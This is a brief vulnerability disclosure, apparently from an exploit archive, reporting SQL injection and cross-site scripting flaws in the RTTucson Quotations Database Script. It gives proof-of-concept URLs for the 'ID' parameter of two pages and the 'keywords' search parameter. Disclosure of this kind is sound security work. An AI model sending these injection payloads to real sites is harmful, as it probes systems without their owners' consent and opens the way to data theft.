29 lines
No EOL
1.3 KiB
Text
29 lines
No EOL
1.3 KiB
Text
##################################################################################
|
|
__ _ _ ____
|
|
/ /___ _____ (_)_____________ ______(_)__ _____ / __ \_________ _
|
|
__ / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
|
|
/ /_/ / /_/ / / / / (__ |__ ) /_/ / / / / __(__ )/ /_/ / / / /_/ /
|
|
\____/\__,_/_/ /_/_/____/____/\__,_/_/ /_/\___/____(_)____/_/ \__, /
|
|
/____/
|
|
##################################################################################
|
|
RTTucson Quotations Database Script, Multiple Vulnerabilities
|
|
Software Page: http://www.rttucson.com/index.html
|
|
Script Demo: http://www.rttucson.com/quotations/default.php
|
|
|
|
Author(Pentester): 3spi0n
|
|
On Social: Twitter.Com/eyyamgudeer
|
|
Greetz: Grayhatz Inc. and Janissaries Platform.
|
|
##################################################################################
|
|
|
|
[~] MySQL Injection on Demo Site
|
|
|
|
[+] (author.php, ID Param)
|
|
>>> http://server/quotations/author.php?ID=5' (MySQLi Found)
|
|
|
|
[+] (category_quotes.php, ID Param)
|
|
>>> http://server/quotations/category_quotes.php?ID=9' (MySQLi Found)
|
|
|
|
[~] XSS on Demo Site
|
|
|
|
>> (quote_search.php, keywords Param)
|
|
>>> http://server/quotations/quote_search.php?keywords=<h1>Xssed-3spi0n</h1> |